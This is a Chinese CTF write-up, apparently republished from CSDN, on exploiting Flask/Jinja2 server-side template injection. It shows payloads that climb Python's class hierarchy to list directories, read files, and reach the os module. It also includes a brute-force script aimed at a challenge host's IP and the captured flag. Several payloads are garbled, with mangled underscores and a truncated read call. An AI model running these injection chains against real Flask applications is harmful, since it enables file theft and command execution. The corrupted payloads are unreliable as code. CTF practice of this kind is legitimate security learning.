flask基础
SSTI:服务器端模板注入(Server-Side Template Injection)
不正确的使用flask中的 render_template_string
方法会引发SSTI。
SSTI文件读取/命令执行
在Jinja2模板引擎中, {{}}
是变量包裹标识符。 {{}}
并不仅仅可以传递变量,还可以执行一些简单的表达式。
思路:找到父类 <type 'object'></type>
–>寻找子类–>找关于命令执行或者文件操作的模块。
_ class__ 返回类型所属的对象
_ _mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
_ _base__ 返回该对象所继承的基类
_ _base__ 和 _ _mro__ 都是用来寻找基类的
_ _subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
_ _init__ 类的初始化方法
_ _globals__ 对包含函数全局变量的字典的引用
1、查找字符串的类对象
[]._ _class__
2、寻找基类
[]. _class__. _mro__
3、寻找可用引用
[]. _class__. mro__. _subclasses__()
4、利用可用引用
[]. _class__. mro__. _subclasses__()40.read()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SHIyw5jH-1637203939287)(https://i.loli.net/2021/11/18/lwLd9IxK2Xo18Ym.png)]
搜索os模块所在的类,并利用os模块
搜索os模块的脚本:
import requests
for i in range(0, 100):
url = "http://111.200.241.244:50349/%7B%7B''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__.__globals__%7D%7D"
html = requests.get(url)
html.encoding = 'utf-8'
if 'os' in html.text:
print('os:' + str(i))
break
else:
print(str(i) + '---')
{{[]. _class__. mro__[1]. subclasses__()[71]. init__. _globals__[“os”].listdir(“.”)}}/?
查看fl4g文件
{{[]. _class__. mro__[1]. _subclasses__()40.read()
成功获得flag! ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
Original: https://blog.csdn.net/weixin_46784800/article/details/121395805
Author: 学编程的小w
Title: 攻防世界-Web_python_template_injection题
原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/746472/
转载文章受原作者版权保护。转载请注明原作者出处!